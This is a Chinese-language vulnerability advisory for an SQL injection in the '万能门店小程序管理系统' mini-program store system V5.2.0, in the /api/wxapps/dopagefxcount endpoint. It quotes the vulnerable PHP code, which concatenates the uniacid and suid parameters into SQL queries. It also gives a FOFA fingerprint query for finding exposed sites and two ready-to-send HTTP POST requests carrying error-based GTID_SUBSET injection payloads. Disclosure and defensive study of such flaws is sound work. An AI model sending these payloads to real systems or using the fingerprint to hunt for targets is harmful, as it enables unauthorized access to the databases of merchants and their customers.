漏洞简介

万能门店小程序管理系统是一款功能强大的工具，旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用，通过后台一键切换版本，满足不同行业商家的个性化需求。该系统采用轻量后台，搭载高效服务器，确保小程序运行流畅，提升用户体验。万能门店小程序管理系统 /api/wxapps/dopagefxcount 存在 SQL 注入漏洞，攻击者可通过该漏洞获取数据库中的敏感信息，甚至可能进一步控制服务器。

影响版本

万能门店小程序全开源独立版V5.2.0

fofa语法

body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")

漏洞分析

application/api/controller/Wxapps.php

    // 分销订单数据统计
    public function dopagefxcount()
    {
        $uniacid = input("uniacid");
        $suid = input("suid");
        $prefix = config('database.prefix');
        $orders1 = count(Db::query("SELECT * FROM {$prefix}wd_xcx_fx_ls WHERE uniacid=" . $uniacid . " and flag = 1 and (parent_id = '" . $suid . "' or p_parent_id = '" . $suid . "' or p_p_parent_id = '" . $suid . "')"));
        $orders2 = count(Db::query("SELECT * FROM {$prefix}wd_xcx_fx_ls WHERE uniacid=" . $uniacid . " and flag = 2 and (parent_id = '" . $suid . "' or p_parent_id = '" . $suid . "' or p_p_parent_id = '" . $suid . "')"));
        $orders3 = count(Db::query("SELECT * FROM {$prefix}wd_xcx_fx_ls WHERE uniacid=" . $uniacid . " and flag = 3 and (parent_id = '" . $suid . "' or {$prefix}p_parent_id = '" . $suid . "' or p_p_parent_id = '" . $suid . "')"));
        $data = array(
            "onecount" => $orders1,
            "twocount" => $orders2,
            "threecount" => $orders3,
            "total" => $orders1 + $orders2 + $orders3
        );
        $result['data'] = $data;
        return json_encode($result);
    }

$uniacid 和 $suid 直接拼接进SQL语句，从而造成SQL注入漏洞。

漏洞复现

POST /api/wxapps/dopagefxcount HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded

uniacid=1+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23

POST /api/wxapps/dopagefxcount HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded

suid=1'+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)+and+'1'='1&uniacid=1